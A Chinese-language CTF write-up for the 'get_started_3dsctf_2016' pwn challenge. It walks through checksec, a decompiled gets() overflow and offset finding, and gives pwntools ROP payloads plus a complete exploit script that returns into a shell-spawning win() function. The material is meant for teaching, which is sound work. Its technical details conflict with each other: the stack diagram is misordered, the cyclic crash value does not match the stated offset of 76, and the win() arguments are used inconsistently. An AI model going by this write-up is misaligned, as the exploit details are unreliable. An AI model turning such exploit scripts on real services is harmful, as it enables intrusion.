1. 项目背景与目标解析
"get_started_3dsctf_2016"是一个经典的CTF(Capture The Flag)二进制漏洞利用挑战题,源自2016年3DSCTF竞赛。这类题目通常要求参赛者通过逆向工程和漏洞利用技术,从受保护的程序中提取隐藏的flag。作为入门级Pwn题目,它完美融合了栈溢出、ROP(Return-Oriented Programming)和函数调用约定等核心知识点。
我在实际带新人训练时发现,这道题有三大典型教学价值:
- 32位ELF程序的栈结构可视化教学
- 通过溢出修改返回地址的实战演示
- 多阶段payload构造的思维训练
2. 环境准备与文件分析
2.1 基础环境配置
推荐使用Ubuntu 18.04+虚拟机环境,关键工具链包括:
bash复制sudo apt install gdb peda checksec python3-pip
pip3 install pwntools
2.2 二进制文件检测
使用checksec工具检测安全机制:
bash复制checksec get_started_3dsctf_2016
典型输出显示:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键安全特征解读:
- 32位架构意味着使用ebp+offset的栈帧结构
- 未启用栈保护(No canary)暗示可能存在栈溢出
- NX(不可执行栈)要求使用ROP技术
2.3 逆向工程分析
使用Ghidra进行静态分析,发现关键函数:
c复制void vuln() {
char buffer[64];
gets(buffer); // 明显的栈溢出漏洞
printf("You gave me %s\n", buffer);
}
栈结构推算(32位系统):
code复制+-----------------+
| saved ebp | <- ebp
+-----------------+
| return address |
+-----------------+
| buffer[64] | <- esp
+-----------------+
3. 漏洞利用开发
3.1 确定溢出偏移量
使用cyclic模式字符串定位:
python复制from pwn import *
p = process('./get_started_3dsctf_2016')
payload = cyclic(100)
p.sendline(payload)
p.wait()
查看崩溃时eip的值:
code复制$ dmesg | tail -1
[ 1234.567890] get_started_3dsctf_2016[1234]: segfault at 6161616c ip 6161616c
计算偏移量:
python复制cyclic_find(0x6161616c) # 返回76
3.2 利用方案设计
题目中存在特殊函数:
c复制void win() {
system("/bin/sh");
}
由于NX保护,我们需要:
- 覆盖返回地址跳转到win函数
- 处理函数调用后的栈平衡问题
3.3 ROP链构造
32位系统调用约定要求参数通过栈传递。完整payload结构:
code复制[ junk bytes (76) ]
[ win函数地址 ]
[ 返回地址 (可选) ]
[ 参数1 ]
[ 参数2 ]
实际构造:
python复制from pwn import *
context(arch='i386', os='linux')
elf = ELF('./get_started_3dsctf_2016')
payload = flat(
b'A'*76,
elf.sym['win'],
0xdeadbeef, # 任意返回地址
0x1, # 参数1
0x2 # 参数2
)
4. 本地测试与调试技巧
4.1 GDB动态调试
关键断点设置:
code复制gdb-peda$ b *vuln+25 # gets函数调用后
gdb-peda$ b *win # win函数入口
查看栈布局命令:
code复制gdb-peda$ telescope $esp 20
4.2 常见问题解决
Q: 跳转后出现SIGSEGV?
A: 检查栈对齐问题,尝试在win地址前添加ret gadget:
python复制rop = ROP(elf)
payload = flat(
b'A'*76,
rop.find_gadget(['ret'])[0],
elf.sym['win']
)
Q: 远程连接不稳定?
A: 添加p.interactive()前sleep(1):
python复制p.sendline(payload)
sleep(1)
p.interactive()
5. 完整利用脚本
python复制#!/usr/bin/env python3
from pwn import *
def exploit():
context.update(arch='i386', os='linux')
# 本地/远程切换
if args.REMOTE:
p = remote('example.com', 1234)
else:
p = process('./get_started_3dsctf_2016')
elf = ELF('./get_started_3dsctf_2016')
rop = ROP(elf)
# 构造payload
payload = flat(
b'A'*76,
rop.find_gadget(['ret'])[0],
elf.sym['win']
)
# 交互调试
if args.DEBUG:
gdb.attach(p, '''
b *vuln+25
c
''')
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exploit()
6. 技术延伸与变种
6.1 64位环境差异
对比32位系统的主要变化:
- 参数通过寄存器传递(rdi, rsi, rdx等)
- 需要找到pop rdi; ret这样的gadget
- 栈对齐要求更严格(16字节对齐)
6.2 现代防护绕过
若题目开启更多保护时的对策:
- PIE泄漏:通过puts泄漏地址计算基址
- Canary绕过:格式化字符串泄漏或逐字节爆破
- ASLR对抗:通过信息泄漏获取libc基址
关键提示:实际CTF比赛中,务必先完整分析所有保护机制,再设计利用链。我曾遇到看似简单的栈溢出题,实际需要组合使用格式化字符串和ROP才能突破所有防护。